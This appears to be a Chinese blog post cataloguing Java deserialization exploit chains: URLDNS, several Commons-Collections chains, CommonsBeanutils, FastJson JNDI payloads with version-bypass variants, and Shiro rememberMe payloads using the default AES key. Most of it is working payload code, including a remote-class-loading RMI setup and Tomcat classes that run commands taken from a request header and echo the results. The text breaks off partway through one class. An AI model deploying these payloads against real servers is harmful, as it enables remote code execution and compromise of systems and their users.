把学习java反序列化的一些链都记录一下,简单记录Payload,即利用方法,细节就不分析了,网上文章很多 (其实是理解不深怕分析不到位。。。),当然重在原理理解,以后发现了新思路可能会记录一下吧

本篇主要记录利用链代码,以及自己的一些简单理解,非漏洞原理

未做说明的情况下,测试环境均为Windows10+jdk1.8.0_221+IDEA2019.3

URLDNS

起一个tomcat,版本为8.5.57

servlet代码如下,web.xml自行配置

import javax.servlet.ServletException;
import javax.servlet.ServletInputStream;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.PrintWriter;

import java.util.HashMap;
import java.net.URL;

public class DemoServlet extends HttpServlet {
    @Override
    protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        ServletInputStream sis = req.getInputStream();
        ObjectInputStream ois = new ObjectInputStream(sis);
        try{
            ois.readObject();
        }catch (ClassNotFoundException e){
            e.printStackTrace();
        }
        ois.close();
    }

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        PrintWriter out = resp.getWriter();
        out.println("this is a demo");
    }
}

使用ysoserial生成payload,项目地址:https://github.com/frohoff/ysoserial

在IDEA把运行/调试配置程序参数设置为URLDNS "http://hnhnxq.dnslog.cn"

然后在Serializer.java中加入以下代码

try {
    FileOutputStream fileOut = new FileOutputStream("./payload.ser");
    ObjectOutputStream ot = new ObjectOutputStream(fileOut);
    ot.writeObject(obj);
    ot.close();
}catch(IOException i) {
    i.printStackTrace();
}

如下图

目的是将反序列化后的数据保存为payload.ser文件

使用curl发包:curl http://localhost:8088/demo --data-binary @payload.ser

参数解释:--data-binary key=value

  • HTTP POST请求中的数据为纯二进制数据
  • value如果是@file_name,则保留文件中的回车符和换行符,不做任何转换

dnslog收到请求记录

这条链一般用来探测是否存在反序列化漏洞,好处是未依赖任何的第三方包,而且并不会影响测试的业务程序

CommonCollections1

ChainedTransformer这条链原理不再赘述,主要依赖sun.reflect.annotation.AnnotationInvocationHandler这个类来触发反序列化,然后通过Map来触发transform的调用

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

import sun.reflect.annotation.AnnotationType;

public class CommonCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };
        CC_LazyMap(transformers);
    }

    public static void CC_TransformedMap(Transformer[] transformers) throws Exception {
        /*
            Gadget chain:
                ObjectInputStream.readObject()
                    AnnotationInvocationHandler.readObject()
                        entry.setValue()
                            TransformedMap.checkSetValue()
                                ChainedTransformer.transform()
                                    ConstantTransformer.transform()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Class.getMethod()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.getRuntime()
                                    InvokerTransformer.transform()
                                        Method.invoke()
                                            Runtime.exec()

            Requires:
                commons-collections
         */
        // java8后无法使用,AnnotationInvocationHandler被改写
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);


        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        out(handler);
    }

    public static void CC_LazyMap(Transformer[] transformers) throws Exception {
        /*
            Gadget chain:
                ObjectInputStream.readObject()
                    AnnotationInvocationHandler.readObject()
                        Map(Proxy).entrySet()
                            AnnotationInvocationHandler.invoke()
                                LazyMap.get()
                                    ChainedTransformer.transform()
                                        ConstantTransformer.transform()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Class.getMethod()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Runtime.getRuntime()
                                        InvokerTransformer.transform()
                                            Method.invoke()
                                                Runtime.exec()

            Requires:
                commons-collections
         */
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        // AnnotationInvocationHandler实际上就是一个InvocationHandler
        // 我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中
        // 进而触发我们的LazyMap#get,随后的利用链就和TransformedMap的一样了
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);
        handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);

        out(handler);
    }

    public static void out(InvocationHandler handler) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

注意代码注释,TransformedMap这条链在Java8后无法使用,因为反序列化所用到的AnnotationInvocationHandler被改写,LazyMap为改写后的利用方法

CommonCollections2

主要使用PriorityQueue来触发TransformingComparator.compare方法,然后触发ChainedTransformer.transform方法

然而后面有不依靠ChainedTransformer的新利用方法,主要是通过TemplatesImpl来动态加载字节码文件,然后需要newTransformer才能加载恶意类,就利用InvokerTransformertransform反射触发

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;

import java.io.*;
import java.util.Comparator;
import java.util.HashMap;
import java.util.Map;
import java.util.PriorityQueue;
import static com.loader.Reflections.setFieldValue;

public class CommonCollections2 {
    public static void main(String[] args) throws Exception {
        CC_PriorityQueue();
    }

    public static void CC_PriorityQueue() throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {
                new ConstantTransformer(1)
        };
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        TransformingComparator comparator = new TransformingComparator(transformerChain);
        PriorityQueue queue = new PriorityQueue(2, comparator);

        queue.add(1);
        queue.add(2);

        setFieldValue(transformerChain, "iTransformers", transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void CC_No_Transformer() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("toString", null, null);
        Comparator comparator = new TransformingComparator(transformer);
        PriorityQueue queue = new PriorityQueue(2, comparator);

        queue.add(obj);
        queue.add(obj);

        setFieldValue(transformer, "iMethodName", "newTransformer");

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

HelloTemplatesImpl.java代码,这里恶意必须继承AbstractTranslet,因为反序列化的时候defineTransletClasses函数会判断字节码转化的类是否继承自AbstractTranslet

package com.loader;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class HelloTemplatesImpl extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
    public HelloTemplatesImpl() throws IOException {
        super();
        Runtime.getRuntime().exec("calc.exe");
        System.out.println("Hello TemplatesImpl");
    }
}

CommonCollections3

这条链主要利用的是TiedMapEntry这个Map类,外加TemplatesImpl动态加载字节码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;

import javax.xml.transform.Templates;

import static com.loader.Reflections.setFieldValue;

public class CommonCollections3 {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {clazz.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[] {
                new ConstantTransformer(1)
        };
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
        };
//        CC_LazyMap(fakeTransformers, transformers);
        CC_No_Transformer();
    }

    public static void CC_TransformedMap(Transformer[] transformers) throws Exception {
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(obj),
//                new InvokerTransformer("newTransformer", null, null)
//        };
        Transformer transformerChain = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("value", "xxxx");  // 手动put触发
    }

    public static void CC_LazyMap(Transformer[] fakeTransformers, Transformer[] transformers) throws Exception {
//        Transformer[] fakeTransformers = new Transformer[] {
//                new ConstantTransformer(1)
//        };
//        Transformer[] transformers = new Transformer[]{
//                new ConstantTransformer(TrAXFilter.class),
//                new InstantiateTransformer(new Class[] { Templates.class }, new Object[] { obj })
//        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        HashMap innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        HashMap expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);

        out(expMap);
    }

    public static void CC_No_Transformer() throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazz.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

    public static void out(HashMap handler) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

HelloTemplatesImpl类代码用的就是CC2的代码

CommonCollections6

TiedMapEntry

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {
                new ConstantTransformer(1)
        };
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        HashMap innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        HashMap expMap = new HashMap();
        expMap.put(tme,"valuevalue");
        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain,transformers);

        out(expMap);
    }

    public static void out(HashMap handler) throws Exception {
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

CommonsBeanutils

这条链主要就是BeanComparator这个类的利用了,涉及JavaBean的操作,通过BeanComparator.compare触发PropertyUtils.getProperty进行JavaBean操作,触发TemplatesImplgetOutputProperties方法,然后newTransformer,之后就是TemplatesImpl动态加载字节码了

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.ibatis.javassist.ClassPool;
import org.apache.ibatis.javassist.CtClass;

import java.io.*;
import java.util.PriorityQueue;

import static com.loader.Reflections.setFieldValue;

public class CommonsBeanutils {
    public static void main(String[] args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.loader.HelloTemplatesImpl.class.getName());
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][] {clazz.toBytecode()});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

FastJson

DNSLOG

判断是否存在FastJson反序列化漏洞

{"xxx":{"@type":"java.net.Inet4Address","val":"l42dtg.dnslog.cn"}}

1.2.24

实际上利用的是lookup函数来进行JNDI注入

编写一个恶意类Evil.java

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

import java.io.IOException;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { }

    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc.exe");
    }
}

javac编译成class文件,然后python -m http.server起一个http服务来供RMI服务来加载恶意类,使用marshalsec这个工具来起一个RMI服务

项目地址:https://github.com/mbechler/marshalsec

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://127.0.0.1:8000/#Evil

然后漏洞触发代码

package com.FastJson_1_2_24;

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class Rmi_Poc {
    public static void main(String[] args) {
        String PoC = "{\"xxx\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/calc\", \"autoCommit\":true}}";
        JSON.parse(PoC);
    }
}
  • @type: 指定恶意利用类 com.sun.rowset.JdbcRowSetImpl
  • dataSourceName :指定RMI / LDAP 恶意服务器,并调用setDataSourceName 函数
  • autoCommit:调用 setAutoCommit 函数

1.2.25-1.2.41

{"xxx":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi://127.0.0.1:1099/calc", "autoCommit":true}}

问题出在TypeUtils.loadClass,如果类名以L开头;结尾,就会删除掉开头和结尾得到新的类名,以新类名作为参数递归调用loadClass函数,最终加载JdbcRowSetImpl并返回,后续利用过程同上

1.2.42

绕过方式为类名开头两个L,结尾两个;,这样删除一次开头结尾后的类名为Lcom.sun.rowset.JdbcRowSetImpl;,不会触发黑名单。

{"xxx":{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi://127.0.0.1:1099/calc", "autoCommit":true}}

1.2.43

{"xxx":{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://127.0.0.1:1099/calc", "autoCommit":true}}

1.2.44-1.2.45

有限制,需要使用MyBatis

{"xxx":{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://127.0.0.1:1099/Exploit"}}}

1.2.46-1.2.47

{
	"name":{
		"@type":"java.lang.Class",
		"val":"com.sun.rowset.JdbcRowSetImpl"
	},
	"x":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}
}

目前分析到这,后面再加

Shiro

shiro反序列化漏洞这个问题主要出在rememberMe这个cookie参数,是一个记住我的功能,用户登陆成功后会生成经过加密并编码的cookie,在服务端接收cookie值后,Base64解码–>AES解密–>反序列化。攻击者只要找到AES加密的密钥,就可以构造一个恶意对象,对其进行序列化–>AES加密–>Base64编码,然后将其作为cookie的rememberMe字段发送,Shiro将rememberMe进行解密并且反序列化,最终造成反序列化漏洞。

起一个shiro tomcat,代码都在这:https://github.com/phith0n/JavaThings

先写个恶意类Evil.java

package com.govuln.shiroattack;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class Evil extends AbstractTranslet {
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}

    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}

    public Evil() throws Exception {
        super();
        System.out.println("Hello TemplatesImpl");
        Runtime.getRuntime().exec("calc.exe");
    }
}

CommonsCollectionsShiro

用的CC链触发,需要构造不含数组的反序列化Gadget

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsShiro {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(com.govuln.shiroattack.Evil.class.getName());
        byte[] payloads = new CommonsCollectionsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer transformer = new InvokerTransformer("getClass", null, null);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformer);

        TiedMapEntry tme = new TiedMapEntry(outerMap, obj);

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.clear();
        setFieldValue(transformer, "iMethodName", "newTransformer");

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

CommonsBeanutilsShiro

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonsBeanutilsShiro {
    public static void main(String []args) throws Exception {
        ClassPool pool = ClassPool.getDefault();
        CtClass clazz = pool.get(tomcat89Shiro.class.getName());
        byte[] payloads = new CommonsBeanutilsShiro().getPayload(clazz.toBytecode());

        AesCipherService aes = new AesCipherService();
        byte[] key = java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");

        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }

    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public byte[] getPayload(byte[] clazzBytes) throws Exception {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        // stub data for replacement later
        queue.add("1");
        queue.add("1");

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        return barr.toByteArray();
    }
}

Tomcat7回显

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.tomcat.util.buf.ByteChunk;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.io.*;
import org.apache.coyote.Request;

public class tomcat7Shiro extends AbstractTranslet {
    public tomcat7Shiro(){
        try {
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            Field field = group.getClass().getDeclaredField("threads");
            field.setAccessible(true);

            Thread[] threads = (Thread[]) field.get(group);

            for(Thread thread:threads){
                String name = thread.getName();
                if(name.contains("http") && name.contains("Acceptor")){
                    field = thread.getClass().getDeclaredField("target");
                    field.setAccessible(true);
                    Object obj = field.get(thread);

                    field = obj.getClass().getDeclaredField("this$0");
                    field.setAccessible(true);
                    obj = field.get(obj);

                    field = obj.getClass().getDeclaredField("handler");
                    field.setAccessible(true);
                    obj = field.get(obj);

                    field = obj.getClass().getSuperclass().getDeclaredField("global");
                    field.setAccessible(true);
                    obj = field.get(obj);

                    field = obj.getClass().getDeclaredField("processors");
                    field.setAccessible(true);
                    obj = field.get(obj);

                    ArrayList processors = (ArrayList) obj;

                    for(int m=0;m<processors.size();m++){
                        Object o = processors.get(m);
                        if(o != null && o.getClass().toString().contains("RequestInfo")){
                            field = o.getClass().getDeclaredField("req");
                            field.setAccessible(true);
                            obj = field.get(o);

                            if(!obj.toString().contains("null")) {
                                Request request = (Request) obj;
                                String cmd = request.getHeader("cmd");
                                InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
                                ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
                                byte[] buff = new byte[1024];
                                int rc = 0;
                                while ((rc = in.read(buff, 0, 1024)) > 0) {
                                    byteArrayOutputStream.write(buff, 0, rc);
                                }
                                byte[] buf = byteArrayOutputStream.toByteArray();
                                ByteChunk bc = new ByteChunk();
                                bc.setBytes(buf, 0, buf.length);
                                request.getResponse().doWrite(bc);
                            }
                        }
                    }
                }
            }

        }catch (Exception e){
            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }
}

Tomcat8/9回显

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.lang.reflect.Field;
import java.nio.ByteBuffer;
import java.util.ArrayList;
import org.apache.coyote.Request;
import java.io.*;

public class tomcat89Shiro extends AbstractTranslet {
    public tomcat89Shiro(){
        try {
            ThreadGroup group = Thread.currentThread().getThreadGroup();
            Field field = group.getClass().getDeclaredField("threads");
            field.setAccessible(true);

            Thread[] threads = (Thread[]) field.get(group);

            for(Thread thread:threads){
                String name = thread.getName();
                if(name.contains("http") && name.contains("Poller")){
                    field = thread.getClass().getDeclaredField("target");
                    field.setAccessible(true);
                    Object obj = field.get(thread);

                    field = obj.getClass().getDeclaredField("this$0");
                    field.setAccessible(true);
